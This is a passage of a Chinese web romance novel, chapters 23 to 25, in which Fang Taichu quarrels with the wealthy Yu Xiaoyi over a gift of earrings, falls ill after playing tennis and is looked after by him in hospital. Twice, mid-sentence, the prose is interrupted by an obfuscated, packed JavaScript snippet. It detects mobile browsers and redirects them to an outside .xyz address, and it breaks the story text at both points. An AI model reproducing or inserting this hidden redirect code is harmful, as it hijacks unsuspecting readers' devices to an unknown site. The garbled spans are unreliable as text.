上面写着: F.Junior, 耳饰送给今晚的月亮。 你可以成双佩戴,也可拆开配你右耳上剩下的那一只。 AB款也够靓,很衬你。 谢你今晚赴约。 Yours, Theo Yu 小初的眼泪不停不停地落下去,落在他的名字上,将墨水晕染成模糊的一片。 果然是个情场高手,她忍不住暗骂,短短几句话,就让人的情绪波动成这样,最要命的是,他明明一句都没有提“我喜欢你”,却又每个笔画都是这四个字,将中式留白的艺术应用到了彻底。 这么贵重的礼物,被他说得像是顺手从楼下便利店带上来的咖啡。给你买咖啡也没有别的意思,只是天太热,你太疲惫,或许喝杯咖啡能好点。 如此细致周到,浪漫贴心,又这么会替人着想,连语气都云淡风轻。 没有人会因为穷人的一杯咖啡陷入爱情,可资本家的孩子只要他想,甚至可以天天送钻石。 直至猎物咬上诱饵。 小初冲进卫生间,将冷水泼在脸上,强制自己冷静下来。他光风霁月她知道,但那是他个人的底色,这个底色,是靠近他的每个人都可以感受到的东西,并非她的专属品。 就像他也不是她的专属品。 她方太初,从来不觊觎别人的东西,大把送到她面前巴巴等着她垂眼青睐的,她还未必有兴趣低低头呢。 大家相识一场,虽然时间还短,也谈不上什么深情厚谊,但她也不吝送他一个祝福吧。祝他什么呢,就祝他长袍马褂加身,送了数以亿计的礼金,几十斤的黄金差点坠断新娘的脖子,却也只能娶回一个丑女,再生一窝丑孩子吧。 到时候刚好可以把他那一身才华,不管什么击剑游泳还是网球,全都传下去,让那一窝丑孩子折磨死他。 这么想了一会儿,小初终于好多了,再回到报告厅,脸上已无异常。 演讲已进行了四分之三。 梁培风笑着说:“你再不回来,我已经准备把你的平板什么的打包顺走了。” 小初笑笑,眼神却不经意落在台侧的余萧弋身上。他果然好修养,这会儿长身玉立站在那,周身已再无一丝萧索之气了。 前排座位的小女生刚好在拍她,透过她的屏幕,小初看见他的表情管理也做得很好,可见这豪门的底蕴的确非一般人家可比。 就算是她家,她爸有时候在公司里生了气也是要大发雷霆的,发完火回到家还要她妈哄很久才能平息下来。 自然,她有时候也很怀疑她爸是故意回来撒娇的,谁让她妈妈温柔得像一片海,就算吸收了负面情绪,也能平静无波。 很可惜,她即没遗传她妈妈的好脾气,也没有她爸的好命,可以碰上一个全心爱她,包容她的人。 演讲结束,小初收拾东西往外走。 梁培风问:“要一块去打球吗?” 小初其实这会儿已经很累了,精神和身体都有些摇摇欲坠,但她想了想还是咬牙答应下来,他余萧弋可以做到的情绪管理,她方太初也没什么不行。 “OK,那你等我一下,我去洗手间换件衣服。” 梁培风点点头,自然而然接过她的书包,“还好我今天穿得就比较运动,衣服也不用换了。” 小初今天带的是一身白色的网球裙,高腰百褶裙配无袖翻领Polo衫,再将头发用同色防晒帽固定住,连她自己都觉得镜子里的少女青春明媚得有些过分了。 尤其她那双腿,本来就长,这么一搭配更是衬得她比例极佳,像从漫画中走出来一样。小初对着镜子自嘲笑笑,又给自己补了个妆。 既然想好了以后都漂亮地活着,也就别怕自己太过分了,过分的事情以后还多着呢。 她这么耀眼夺目又聪明可爱,却被人家当成娶妻前的放纵,那只能说明他余萧弋眼瞎心盲,她要让他后悔到将来午夜梦回时都要心悸,辅导丑孩子做功课时都要哭出声来。 从卫生间出来,好巧不巧,刚好碰上余萧弋陪教授和助理从走廊那头走过来。 四目相对,分外眼红。 小初心里冷笑,真是人算不如天算,今天活该他要被她气到发疯。 余萧弋的视线在她身上划过,转身交代了教授助理几句,就静静立在了原地。 如此,小初从当前位置走向他,就不得不多花上五秒。 五秒钟,已经可以发生很多事。 “这会儿去打网球?早餐都吐掉了话,血糖挨得住吗?”余萧弋率先开口,他相信他嘴角的笑容一定是无懈可击的,只是眼底的红血丝出卖了他昨晚一夜没睡的事实。 小初顿住脚步,睨他一眼:“嗯,一早就和朋友约好了的。” 余萧弋思索了一下,眉心微蹙:“一早就约好怎么在报告厅才互相握手自我介绍?” 小初呼吸一滞,“网友奔现不行吗?记得你之前问过我,在这边除了你还有别的朋友吗?嗯,现在有了。” 余萧弋仍不放心:“我只是担心你被人骗。” 小初倒有些好奇:“骗我什么?” 余萧弋静了静,目光如水般从她的眼睛向下,缓缓到她线条柔和的下巴和若隐若现的锁骨为止,停住。 他什么都没说,小初却什么都看懂了,脸忽地一红,“你不要以小人之心度君子之腹,以为全世界的人都跟你一样,看见个漂亮点的女孩子就满脑子龌龊想法,人又不是动物,也不能嗅到点春的气息就抑制不住荷尔蒙的冲动,连礼义廉耻都不要了吧?我接受不了你们的open relationship,余大少爷要是有这个需要,不妨再看看别人。” 余萧弋怔住:“什么open relationship?” 小初冷笑一声:“跟我装是吧?你们不都是对外宣称单身实际夜夜有人陪睡吗?还什么初吻,是跟某个人初次接吻吧?那这地球上有几十亿人,你大概还可以初吻几十亿次。” 余萧弋感觉自己长这么大就没被人当面给过这么大难堪,一时根本不知道该怎么反驳,只剩胸膛起伏着。 “我在你心里就是这种人?” 小初懒得理他,直接跑向不远处的梁培风,将那个装耳饰的小盒子从书包侧面口袋里掏出来,又大步跑回来,塞进他手中:“这个还给你,无论是赔罪还是赔偿,我都不接受。麻烦余学长你以后见了我都绕路走,不然说不定真的会被我推进海里喂鱼。我们……”小初强忍住喉间的酸涩,尽量让自己的声音听起来漫不经心,“不再是朋友了。” 教授和助理从卫生间里走了出来,诧异地看了两人一眼。 小初像朝鲜族见到前辈那样朝教授弯了弯腰,算是打过招呼,然后就大步跑走了。 人生第一次,余萧弋产生了无比厌弃自己的想法。认识她后,他的一切矜持克制教养和理智都化作了泡影,剩下的,只余本能。 爱的本能,征服的本能,想拥有想靠近,想将她据为己有的本能,若非如此,他昨晚也不会那么冲动,完全不计后果地对着她亲下去,那一刻的他已经完全背离了他自己,变成了另一个他不认识的人,也难怪,她反应那么大。 可是,她竟然没有任何犹豫就让他帮别人做人工呼吸,他自然也没有愚蠢到把人工呼吸和男女之情联系到一起,若那人真有生命危险他肯定义无反顾…… 他只想知道,她真的就一点不在乎吗? 就没有一秒钟把他视为她私有之物吗? 她对全世界都很好,偏偏对他,都是误解和防备,言语更是刻薄到……他已经完全抑制不住想将她一片片剥开,看看她心里到底有没有一个角落是留给他的冲动了。 他快疯了。 教授走过来,拍了拍他肩膀,“你还好吧,Theo?” 余萧弋做了个深呼吸,下一秒已勾起唇角,“还好,请这边走教授,我们校董还有很多关于两校间学术访问和科研合作的事宜想跟您探讨。” 另一边梁培风刚从自助机里买了饮料,好心递给小初一瓶:“你尝尝这个气泡水,味道很怪很特别,喝习惯了还有点上瘾。” 小初已经有种不好预感,低下头一看,果然是她最怕见到的那个饮料刺客,心下顿时一凛,可梁培风满脸期待,她又不好拒绝,只好勉为其难喝了一小口。 “怎么样?” “还,还不错。”小初露出痛苦面具。 梁培风大笑:“是吧,回头我回京,就把这玩意运回去卖,给北京人民一点color see see。” “麻烦放过北京人民,谢谢。” 两人一块往外走。 他性格如此爽朗,竟也赶不走小初心头任何阴霾,她知道余萧弋一行人就在身后不远,所以走得很快,出大楼下楼梯时,因为眼花,竟一下子迈了两阶下去,幸亏梁培风扶住了她,才没让她出更大的丑。 “谢谢。”小初淡淡抽回手。 梁培风担忧地看她一眼:“你没事吧?” 小初说:“没事。” “后面那小子,是你男朋友?” 小初即刻否认:“你什么眼神?” 梁培风不语。 两人走到太阳下。 夜雨后的晴天往往格外晴,这会儿虽然在节气上已经入了秋,温度却高的令人头晕。 梁培风说:“看你戴了遮阳帽,是打算打户外场吗?你们小姑娘不都怕晒吗?” 小初本没想那么多,被他一问,倒产生了点让太阳晒晒她脑子里的水的奇怪想法,于是反问他:“你怕晒吗?” “我一个大老爷们儿我怕什么?” “刚好,我也涂了防晒了。” 梁培风挑了挑眉。 两人坐小巴来到学校位于海边的室外网球场。 这会儿快到中午,天气又热,整个场地除了他们就再没别人。网球场地势有点高,举目远眺,山和海扑面而来,海盐味的微风轻抚着百褶裙边缘,阳光慵懒,热浪袭人,时光逐渐慢了下来。 这个夏天,已经快走到尾声了。 小初看了一会儿海,心情终于好了一点。 两人开始切磋。 小初的网球倒不是从小开始学的,而是初中时为了缓解长期伏案学习导致的肩颈痛才慢慢开始接触的。 不过她的运动天赋很好,几年下来也算打得有模有样,诸如正反手切换这种超帅技能掌握得尤其好,动作看着很是赏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309769|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心悦目。 梁培风作为网球社成员自然打得也不赖,第二盘战至6-6后又耗费了快20分钟才分出胜负。 小初的血糖是真的挨不住了,直接跌坐在了场边的空地上,汗水不停落入眼睛,刺得她只想借机大哭一场。 “算了,今天到此为止了。”梁培风递过一瓶水过来。 万幸,这次不是饮料刺客。 小初抹了抹眼角,“别啊,放个平局在那里我晚上会睡不着的。” 梁培风笑:“好胜心这么强,如果我没猜错的话,阁下是海淀出来的吧?” 小初仰头喝了口水,“你这都什么刻板印象。” “反正你们那是盛产大魔王的温床。” “那你呢?” “西城,北京X中。” 小初轻嗤:“那你们也不遑多让啊。” “不敢当,我学得很一般。” “怎么跑这来学计算机了?” 梁培风在她身边坐下:“大概脑子进水了吧,五年花了一百多万,也不知做几年996的牛马才能把钱赚回来,赚回来后也不知道还有没有命花。” 小初默然。 她想起了她爸,也是从996一路这么拿命拼过来的。 “想开点,你们这行做好了也是真的赚钱的,实在不行就转行呗,去做证券,金融或是去咨询公司什么的,真学到东西再加上名校光环,总不至于饿死。” 梁培风耸耸肩。 喝完水,两人就地找了家餐厅一块吃了个午饭又一块回了学校。 或许是两人都来自北京的原因,也或许是两人本就性格相投,总之他们聊了很多,聊香港,聊北京,聊小时候都去过的长白山,不知不觉已如老友重逢,完全没了陌生人的拘谨。 小初突然意识到,原来“朋友”和“朋友”也是不一样的,都是一样的因缘邂逅,她和梁培风在一块,就完全没有暧昧流动的情愫,爱情这东西,果真是没道理的。 又上了一下午的课,小初才拖着不知道是谁的身体回了宿舍。 跳上地铁的那一刻,她甚至感觉她的灵魂都因为惯性脱离了躯壳,留在了地铁站里。 她太累了,晚饭都没吃,回去倒头就栽到了枕头上。 等林佳宜回来的时候,她体温已经再次飙升到四十度,就快烧到胡言乱语了。 香港这个地方肯定哪里克她,她实在没办法不这么想。 迷蒙中,她只听见林佳宜大呼着:“太初,你怎么了?” 一阵凌乱的脚步声后,朱慧雯那个不讨人喜欢的家伙也加入了对话的行列里。 “她失恋了,或许还加上点轻度中暑。”朱慧雯用塑料普通话笃定地说道。 林佳宜说:“你是医生还是我是医生?” “那你看她啊,皮肤比早晨出门时黑了几个度?肯定是跑室外打网球去了,这个傻女,就算失恋也不要这么折磨自己吧?” 林佳宜用湿毛巾擦了擦小初的额头,审慎说道:“被你这么一说还真有可能,昨天回来我听见她大骂某人渣男来着。” 朱慧雯说:“这个就对了嘛,有钱人家的少爷是那副德性啦,她这种单纯得甚至有点土的人,怎么跟人家玩得起呢。” “有钱人家少爷,谁?” “还不就是……” 小初被她们俩吵得头更晕了,稍微动一下就想吐,但还是垂死病中惊坐起,纠正朱慧雯道:“你注意措辞好不好,不是我玩不起,是我不要他!” 朱慧雯说:“好好好,是你不要他,你是美女来的嘛,美女想甩谁就甩谁,你有这个特权。” 小初再次载到枕头上去。 林佳宜和朱慧雯都慌了神:“现在怎么办?” 再醒来,小初已经在完全陌生的环境里,床边拉着帘,手臂上有冰凉的液体正顺着塑料管流向身体。 原来是医院。 很奇怪,宿舍离医院那么远,她竟然对她是怎么来到这里一点印象都没有了。好像做了一个好长好长的梦,梦里海风轻拂,阳光慵懒,而她被什么人抱在怀中,鼻息里都是草木被晒干的味道,很舒服,很安全。 “醒了?”有人自帘子那边伸手过来。 小初吓一跳,心率骤然上升。 “是你?你怎么在这?”小初无比懊恼焦急,“林佳宜她们呢?” 余萧弋将一盅汤放在她床头,并上前来扶她,答非所问:“要不要喝几口?我特地叫人炖给你的,苦瓜炖瘦肉,极其下火。” “你还没回答我问题,你为什么会在这?”小初如临大敌,看他像洪水猛兽。 “那是因为……”余萧弋叹口气,“你在昏睡中一直喊我的名字,你室友没办法,只好用你的手机打电话给我了。” “什么东西?” 余萧弋同情地看她一眼:“就是你想的那样。” “简直是危言耸听。”小初绝不承认,“我们已经不是朋友了,我喊你名字做什么?” “我也想知道。”余萧弋从口袋里拿出那个装耳饰的小盒子,并在她面前缓缓打开,毫不留情揭穿她的谎言,“我们既已不是朋友了,你这滴眼泪,是为什么?” 他用一截修长的手指,点在那张小小的便签纸上,被她的眼泪晕染的地方。 那个地方,刚好是他的名字。 Yours, Theo Yu. 24. 第 24 章 病房里很静很静,静到几乎可以听见输液管里液体不断低落的声音。 方太初的目光定在那张纸上,有那么几秒,她的大脑是空白的,但很快,也就恢复了清明,转而不解地问了句:“这是什么?” 余萧弋千想万想,也没想到她会直接耍无赖,抬眸看了她半晌,“算了,当我没说。” 一副也没必要和不真诚的人计较的样子。 小初再次感觉自己的情绪被掌控到,底气不足盯着他的眼睛:“什么意思?” 余萧弋不说话。 小初呼吸一滞,终于感受到了掩盖一个谎言需要付出的代价有多大,但为了证明自己的品行,她也顾不上那么多了,“我打开盒子的时候可没注意到这个便签,如果真有什么水痕,也应该是我洗手时候不小心把水滴上去了。” 接着干脆倒打一耙,“余萧弋,你未免也太自作多情,看见个水痕就联想到眼泪,那你看见游泳池岂不是要联想到太平洋?” 余萧弋勾了勾唇,“你说得没错,是我自作多情。”他站起身来,“你好好休息,有什么事打我电话。” 这本是一间双人病房,但另外一张床没有住人,大概是为了保护病人的隐私,医护人员还是帮她挡了床帘。 余萧弋起身的动作有点大,带动床帘无风自动一阵飘飞,小初心弦一紧,不自觉有些慌,“你,你要走?” 余萧弋看了眼输液管里的药水,认真解释道:“这边晚上只能一个家属陪床,你室友把你拜托给我就回去了,不是我有意模糊我们之间的边界感。但既然你已经把我从你的朋友名单里除名了,再和你这样共处一室似乎也不合适,所以折中一下,我就去外面走廊坐一下好了,我昨天没怎么睡,怕一会儿不小心睡着了,你喊我听不见什么的……打电话保险一点。” 他这段话信息量太大,小初有些消化不过来,但她很肯定她并不想一个人待在一间午夜的病房里,可话已经被她说得太决绝,再求人家留下来陪她似乎就有点功利心太重了,不是她做人的风格。 “我先出去了啊,你再睡会,这个药刚换,半个小时之内肯定不用担心。” 余萧弋转过身去。 小初咬了咬唇。 “哎,余萧弋。”她突然喊住他。 管不了那么多了,功利心就功利心吧,被他看不起就看不起吧,她爸说了,资本家是不用太有良心的,不然会活得很痛苦的,被鄙视总好过午夜梦回被吓到心悸。 想到这她更是一阵头痛,果然人是不能无端诅咒别人的,否则,说不定就要先应验到自己身上来了。 余萧弋不解地回过头来:“什么?” 小初本已绝望的目光落在床头柜的白色炖盅上,忽然就有了神采,“你说你带了汤给我喝?我能尝尝吗?” “你想喝?”余萧弋神色不定地看了看她,“现在吗?” 小初的声音提高了几分,一副理所当然的样子,“对啊,就现在啊,现在不喝一会儿不凉了吗?这次也是你家工人姐姐的一片心意吗?” “……”余萧弋默了默,“是。” “那我就更不能辜负了啊,这大晚上的,还要害人家牺牲休息时间加班,我早跟你说了的,我遗传了我妈妈的感性和包容,最看不得别人的辛苦付诸东流了。”小初弯了弯眼睛。 余萧弋一时根本没想明白她怎么态度就来了个一百八十度大转弯,但还是从善如流地再次在她身边坐了下来,打开炖盅,把汤匙递给她。 “这个汤清热解毒的功效很好,小时候不管哪个小朋友生病家里都会煮这个来喝的,尤其夏天,热气太盛的时候。医生说你有些中暑症状,喝这个应该是对的。” 小初瞥了一眼汤里面的苦瓜,还没喝脸就已经皱成了一团,“可是……我不吃苦瓜的。” ——我也从不喝苦瓜汤的。 但这句话显然已经不适合这会儿说了。 现在就算那里面是一碗毒药,她恐怕也不得不壮士断腕一般喝下去了。 余萧弋耐心很足,“那你就不吃,只喝汤就好。” 小初还是一脸痛苦和犹豫。 余萧弋深深看了她一眼,很体贴地合上了盖子,“其实也不用那么勉强的,一碗汤而已,谈不上什么辜负不辜负。” “别。”小初拉住他的手,“我喝。”然后又小声说:“你能不能帮我把苦瓜吃掉,别让我看见它们。” 余萧弋没想到她竟然也有如此孩子气的一面,手背上她指尖传来的柔软触感更是让他一阵恍惚,连本想出口的话“吃掉干嘛,直接挑掉扔进垃圾桶就好了啊”都不自觉变成了,“好,我帮你吃,可,这怎么吃?” 小初疑惑:“什么怎么吃,你不是人类吗?人类都用工具。” “我是说,阿姨只带了一把汤匙过来,你会不会嫌弃我?”余萧弋不经意看了她的唇一眼。 小初简直被他气笑了:“我的余大少爷,这会儿倒想起克己复礼来了,那你昨晚……” 话一出口,已觉不妥,但倏然收声已经阻挡不住气氛往奇怪的方向去了。 两人都红了脸。 小初差点被自己蠢哭,有些气急败坏,抓着汤匙舀了一口苦瓜就喂进了他嘴里,“别说话,快吃。” 余萧弋还没反应过来发生了什么就被塞了一嘴苦瓜。 他其实想说在他们家是没有吃汤渣的,他长这么大也不知道炖熟的苦瓜是这个味道啊,这也太难吃了吧? 他只不过是不小心喜欢了一个女孩子而已,还要学人家勾践卧薪尝胆吗? 小初不知他心中所想,眼睛里都是好奇,她是真没想到这世上是真有人爱吃苦瓜的,小时候住清华园,姥姥也总做凉拌苦瓜和苦瓜炒蛋这两道菜,还总哄着她吃,她那时候就不止一次想过,这玩意到底什么时候能从地球上灭绝。 今天这么一看,还真不能灭绝,这世上每一样东西,显然都有它存在的道理。 “这么好吃吗?” 余萧弋机械吞下去,压根儿没敢细品到底是什么味道进入了自己的身体,但面上还是淡定从容的,“还行。” 小初就等他这句话了,心满意足往枕头上一靠,“那你慢慢吃,我不着急的。” 等他慢慢吃完,她这边也要换药了吧,时间这么浪费一下,夜就很深了,然后她再“不经意”邀请他干脆就在房间里另一张床上休息一下好了,反正两人中间还隔着床帘,也不算什么越界,这样,她就不用一个人面对恐惧了。 等明天一早太阳顺着窗户爬起来…… 她冷哼一声,看她回去要怎么收拾朱慧雯那个讨厌鬼,她才不相信她高烧烧糊涂了会叫余萧弋的名字,她这么有原则有底线这么理智这么清醒,就算病死,她都不可能喊一个和自己没关系的人的名字好吗? 一定是她自作主张的。 余萧弋的手机号码说不定都是她从余淙淙那边拿的,还在这跟她玩起瞒天过海了,她方太初有那么好骗吗? 她骗她也就算了,还给无辜的人扯进来,她明明对他无意,又怎么好浪费人家的时间? 更何况人家还一个豪门大少爷,估计从小到大都没给谁陪过床,这么大的一个人情,要她怎么还? 明明已经说好了不再是朋友,不必见面也不必再纠缠的。 事情却急转直下变得这么麻烦。 要死了。 余萧弋一边痛苦吃着苦瓜,一边看着坐在那里不说话时样子乖得不行的小初,眼神不自觉温软下来,问她:“方太初,你在想什么?” “我在想,要怎么拧掉一个人的脑袋。” 余萧弋默了默,不知要不要收回“她好乖”这个想法,问道:“谁?” “你小叔昨晚在马路边亲得难舍难分的那个女朋友。” 手中汤匙不小心碰到炖盅的边缘,空气里顿时传来一声瓷器破空音。 “你已经知道……”余萧弋没再说下去,继而摇头苦笑了一下,“是了,你那么聪明。我竟然还幻想着能多瞒你一些时间,是我太天真。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309770|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小初奇怪看他一眼:“瞒什么?” “我小叔他,比较放浪不羁,从小就不喜欢被家里束缚,只为他自己而活。我不敢说他这么想这么做到底是对是错,毕竟人就只有这一辈子,短短几十年,无论想怎么过,都无可厚非,只要不伤害到别人,就没有人有资格指责。但是……” 余萧弋叹口气,“想必你也看见他最近的新闻了吧?他那个前女友结婚后,他就像变了个人似的,每次被狗仔拍到,不是在酒吧买醉,就是高调搂着新女友出街,然后又跟每一任都超不过三个月。” 小初挑了挑眉:“我看见了,八卦报纸都管他叫痞帅二世祖嘛。”然后又淡笑补了句:“你们家还真是人才辈出。” 余萧弋不确定她这一句到底是夸赞还是嘲讽,但还是试探地问了句:“所以你……不想再跟我做朋友,是不是因为你觉得我……也会似他?” 小初并未想过会在今晚跟他探讨这个问题,深夜的病房,显然不太适合聊感情的话题,她只是觉得针头戳进血管的部位好痛,房间里的空调开得太低,冰凉的液体奔涌着冲进她的身体,每一秒都没有放弃提醒她——别为爱情折磨自己,否则,就是这个下场。 她不该顶着大太阳去打户外网球的。 朱慧雯说得一点都没错。 小初扯过被子盖住手背,却仍是发冷,冷得她控制不住地寒颤,她估计她体温又上来了。 以前她每次发烧就是这样,总要反反复复几次才能降下来,后半夜尤其容易高热,害她爸妈晚上根本不敢睡,要一直守着她。 黄亦玫说她小时候有高热惊厥史,第一次发作时候差点把她和方协文吓死,那时候他们一家还住在上海的小阁楼里,她抱着她下楼的时候,脚一滑差点没把她从楼梯上摔下去。 余萧弋看出她的异常,放下手里的炖盅关切地向前一步,“你怎么了?” 小初不想被他看出自己此刻的脆弱,强撑着说道:“没怎么,就是药有点凉。” 余萧弋脸上立刻浮现起自责的神色来,“是我疏忽了。” 说着就从他双肩背包取过他的运动水杯来,大踏步出了门。没一会儿就接了满满一瓶热水回来,扯过小初的被角将杯子埋了进去,并让杯子贴在输液管上,这样进入她身体的药液就没那么凉了。 “这样有没有好一点?” 他竟还对她这样温柔。 那他以后也会对他老婆这样温柔吗? 一个人的温柔,真的可以给那么多人吗? 小初不是很懂。 因为她身边都是一生一世一双人的典范,她的家庭观念,和余萧弋所在的文化圈根本背道而驰,所以,她理解不了他们家族每一辈都有男人妻妾成群然后大家表面上还能相安无事的诡谲画面。 感觉像是回到了旧社会。 三观不同也没什么可说的。 “好多了,谢谢。” 又撑了一会儿,小初是真的撑不住了,头稍微往旁边歪了歪就睡了过去。 迷蒙中她好像听见他喊护士过来给她测体温,然后就感觉到有什么冰冰的东西被人放在了腋下,又被取走。 接着就是他的声音:“护士,她又烧到四十度了,怎么办?” 至于护士又说了什么她就记不清了。 她陷入了梦魇之中。 梦里的她捧着余萧弋的脸,叹息着:“我该拿你怎么办才好?” “我带不走你。” “余萧弋,你别跟别人结婚,好吗?” 梦外的余萧弋正在遵医嘱帮她往额头上贴降温贴,不期却看见她突然皱起了眉毛,眼泪大颗大颗地落了下来,没一会儿就把枕头浸湿了混沌的一小片。 和那张便签纸上墨水晕染的样子一模一样。 心如刀割的感觉几乎是瞬间就袭来的。 他伸出手去帮她抹了抹眼角的泪,任指腹被濡湿,“知道你很难受,别哭,明天就好了。” 然后就听见她小声咕哝了一句:“余萧弋,别结婚。” 25. 第 25 章 极负盛名的港岛白加道别墅区,向来是政商名流们的聚集地之一,虽在历史底蕴上欠缺了一些,但胜在房型设计比较贴近现代人审美,且私密性极佳,每户都是独门独院,不需要和别人做邻居。 余家当初购置这处房产,主要是因为余太个人比较喜欢清净,希望孩子们能多亲近大自然。 可这一晚,余宅的宁静却被一通电话打破了。 彼时余太刚忙完工作上一堆令人焦头烂额的事,都已经准备睡觉了。 一般而言,晚上十点之后没有极特殊的事,是没有人会来打扰的,今天这是怎么了? 瞥了一眼后更加奇怪,竟是她那个自成年后就从家里搬出去了的大儿子,他不是昨天刚在老宅那边负气出走吗,怎么,气还没消,又来找她这个亲妈发泄? 余太将电话开成免提,开始卸妆。 “妈,你还没睡呢吧?” 余太说:“睡了也被你吵醒了,说吧怎么了,是有什么难题需要我们帮你解决吗?” “没怎么,我就是想问问,你们是不是给我琢磨了一门婚事?” 余太被这孩子的胡言乱语吓了一跳,而后又觉得好笑,逗他,“怎么,你才二十二岁就着急结婚了啊?也行,你先跟我说说你喜欢上谁了,我和你爸爸有空的时候帮你琢磨琢磨。” “我现在没空跟你开玩笑,你就说到底有没有这回事,有的话在什么范围传播过,这件事对我很重要!” 余太不接话,反而朝卧室里的老公喊了句:“余先生,快过来,了不得你们家大公子谈恋爱了!” “真的?”一个因面孔太显年轻以至于五十岁了在老婆面前还像个弟弟的男人几步就进了主卧卫生间,饶有兴致拿过手机,“小余小余,你终于开窍了?我还以为你三十五岁之前都不会找到人接手了呢。” 余萧弋呼吸一滞:“我哪里残缺吗在你们眼里?” 他爸妈都大笑,“没人说你残缺,就觉得你眼光太挑,漂亮的你嫌人家不够聪明,聪明的你又嫌人家不够漂亮,聪明又漂亮的你又嫌人家功利心太重,怎样,你还真找到你想要的那个聪明漂亮还对你别无所图的仙女啦?什么时候带回来吃饭,让我们也开开眼。” “……”余萧弋很崩溃。 他们到底有没有听他说话? “挂了,晚安吧余生余太。” 他累了。 他妈妈仍是笑:“反正我和你爸从不做无聊事到处宣扬家里隐私的,至于你们余家其他人,尤其那些爱接受媒体采访的,我们就不得而知了。” “好吧我知道了。” “女朋友记得带回来吃饭哦。” 电话已经没了声音。 又两分钟后,正和好友在外喝酒的余蓁蓁的电话也响了起来。 友人打趣她:“刚刚还说什么自己这辈子注定孤寡,半杯酒还没喝完,天就变了。” 余蓁蓁随意歪在沙发上,只穿了最简单样式的白色真丝衬衫,看着却依旧贵不可言,这已经是今天的第二场酒,半个小时之前她刚和一群老狐狸谈完事,现在还头昏脑涨着,连着声音都有些飘忽,“这福气你喜欢送你。” 说着就点击了接听:“仔?怎么了,这么晚打电话?” 余蓁蓁的声音很轻,但余萧弋还是蹙起了眉:“这都几点了,姑姑还没回家呢?” 电话那头的爵士乐舒缓地流淌着,有低沉的男声在演唱《Stayed in the Silence》。 余蓁蓁笑:“回家也是一个人,回家干什么?不然你回来陪姑姑?” “凭着姑姑的智慧,不应该为寂寞烦恼,孤独本来就是一个人能到达的最高境界。” 余蓁蓁笑骂:“少来这一套,快说什么事?” 余萧弋斟酌了一下措辞,“没什么,就是最近好像传闻我们余家要有喜事发生,我有点好奇,咱们家这大中小加起来单身人士这么多,说的到底是哪个?是小叔收心了,还是离婚的二叔焕发第二春了,总不会是姑姑你突然头脑发昏了吧?” “臭小子。”余蓁蓁将杯子里的酒饮尽,立刻有侍者不动声色持了酒瓶过来。 “我发昏的可能性不大,但是揍人的力气却很大,哪天滚过来吃饭。” 余萧弋自然不能就此罢休,又补了句:“所以到底是哪个?” 余蓁蓁说:“不知道,你都说传闻啦。不过我们家这几位算起来,我估计也就你堂哥余珺彦还有点希望吧?他都二十八了,也跟女朋友好了这么多年了,女方家最近似是有些急,一直盼着能把这件事定下来呢。具体我不知啊,有你爷爷奶奶在,他自己还有爸妈,怎么也轮不到我操心。” 余萧弋挑了挑眉,“原来是他。” 余珺彦,二叔年少叛逆时的私生子,从小在爷爷奶奶身边长大的,因为身份特殊,向来比较好强,一路名校读上去的,前两年哈佛毕业后就进了华尔街一家投行。 不过,他有预感,很快他就会回到家里公司任职了。 “可不就是他。人家可比你精乖得多,又上进努力不要人操心,不知哄得你爷爷奶奶有多开心,哪像你……” 医院里有护士查房,“家属,病人情况怎么样了,烧退了吗?” 余萧弋匆匆说了句:“我不跟你说了啊姑姑,改天回去陪你吃饭。” 余蓁蓁蹙了蹙眉毛:“你陪谁在医院呢?” “一个朋友。”余萧弋匆匆挂了电话。 友人笑着凑过来:“Theo是不是谈恋爱了?怎么感觉这个深夜电话怪怪的。” 余蓁蓁喝了口酒:“年轻人不谈恋爱干什么,难道像你我一样,每天除了工作就是工作,好好的人都快被消磨殆尽了。只是谈谈恋爱而已,又不是叫他们明天就手挽手去结婚。” 友人意味深长一笑,“话都被你讲完,谁不知明早一醒来,你就是最生龙活虎的那一个。” 余蓁蓁骂:“你痴线啊。” 说着就放下了酒杯,刚刚唱歌的年轻男孩立刻会意走上前来,轻轻一个俯身就把她抱进了怀里,两人往楼上去了。 余萧弋回到病房,方太初还在昏睡。 但好歹退烧药起了效果,体温已经控制住了。 医生说她这就不是中暑那么简单,而是很长一段时间身体的疲惫和精神的压力一齐发作的后果,中暑只是个诱因,就算没有这次,她总也要大病一场了。 她睡着的样子很沉静,头发海藻般铺了一整个枕头。即便生病的样子有些狼狈,却依然不掩满身芳华。 美人就是美人,管她哭还是笑,管她素颜还是盛装。妈妈说他只喜欢漂亮又聪明的女孩子,对,也不对。 因为只有遇见她方太初后,他才知道人真正的漂亮根本与皮囊无关,而在于那股不染俗尘的潇洒。 他喜欢的,就是她那一份率真和潇洒。 那是他从未其他任何人身上见过的东西。 余萧弋扯过椅子在她身边缓缓坐下,到底还是没忍住,帮她把微蹙的眉心稍稍抚平了一些,不想下一秒,她就露出一个更不耐烦的表情来。 “哪来的一身反骨。”余萧弋咬咬牙,没好气地点了点她的头,最终还是笑了。 凌晨一点的夜很静,没多久,他就趴在她枕边陪着她一块睡着了。 两人都太累了,直睡到护士推门查房还没醒。 最后还是小初先懵懵然睁开的眼,眼前骤然放大的余萧弋的脸和梦中别无二致,她吓了一跳,本能向后一退,差点没从床的另一侧跌下去。 